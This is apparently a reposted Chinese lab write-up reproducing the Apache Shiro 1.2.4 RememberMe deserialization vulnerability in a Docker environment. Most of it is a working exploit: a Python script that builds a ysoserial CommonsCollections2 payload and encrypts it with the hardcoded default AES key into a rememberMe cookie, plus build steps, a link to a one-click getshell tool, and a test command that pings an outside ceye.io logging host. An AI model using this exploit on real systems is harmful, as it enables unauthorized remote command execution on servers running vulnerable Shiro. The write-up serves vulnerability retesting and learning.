Shiro RememberMe 1.2.4 反序列化漏洞詳細復現


目前已出圖形化界面工具,一鍵即可檢測和getshell
 
工具地址:
https://github.com/feihong-cs/ShiroExploit
 
使用案例:
 

 

 

 

 

 

 

分割線(以上內容為最新更新內容)

————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————

 

0x00 前言

今天上班的時候收到了一個復測的任務,打開一看,shiro反序列化漏洞,What?這是個什么東西,經百度查找后才知道,原來是Java的開發框架,好吧,還是沒聽說過。。由於初測報告上的過程過於簡略(唯一有用的只有KEY),所以不得不自己研究一番了。

0x01 環境搭建

漏洞版本<=1.2.4,使用docker搭建

docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

訪問80端口即可訪問漏洞環境

0x02 工具准備

1、生成payload的腳本

將下面的腳本保存至本地命名為shiro_poc.py,然后進入linux系統/tmp目錄下(如想使用其他KEY,替換腳本中的即可)

不要使用vi/vim命令創建文件再粘貼過去,粘貼會破壞代碼的布局格式

命令行輸入rz回車,就會跳出文件上傳的頁面(如果報錯,pip安裝一下),選擇文件上傳即可

# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("/tmp/payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

 2、安裝模塊

腳本使用的是python3,安裝模塊時要使用pip3 install 模塊名

其中有一個模塊需要強調,就是安裝pycrypto,用來解決報錯No module named Crypto.Cipher

pip3 install pycrypto

3、ysoserial的jar文件

依次執行以下命令(jar的文件名要和腳本中的一樣,文件要和腳本在同一目錄下)

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp

0x03 復現過程

在腳本后面輸入你想要執行的命令,例:

python3 shiro_poc.py "ping fkl2af.ceye.io"

然后便會在腳本所在目錄下生成文件payload.cookie

 

瀏覽器打開漏洞環境並登陸進去,點擊account page抓包

 

用payload.cookie中內容替換Cookie中的全部內容,Go

 

到ceye平台查看即可到流量記錄

最后感謝達哥和豪哥的幫助,讓我順利完成復測

如想學習更多漏洞復現,歡迎關注公眾號Timeline Sec

 

參考鏈接:

https://paper.seebug.org/shiro-rememberme-1-2-4/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM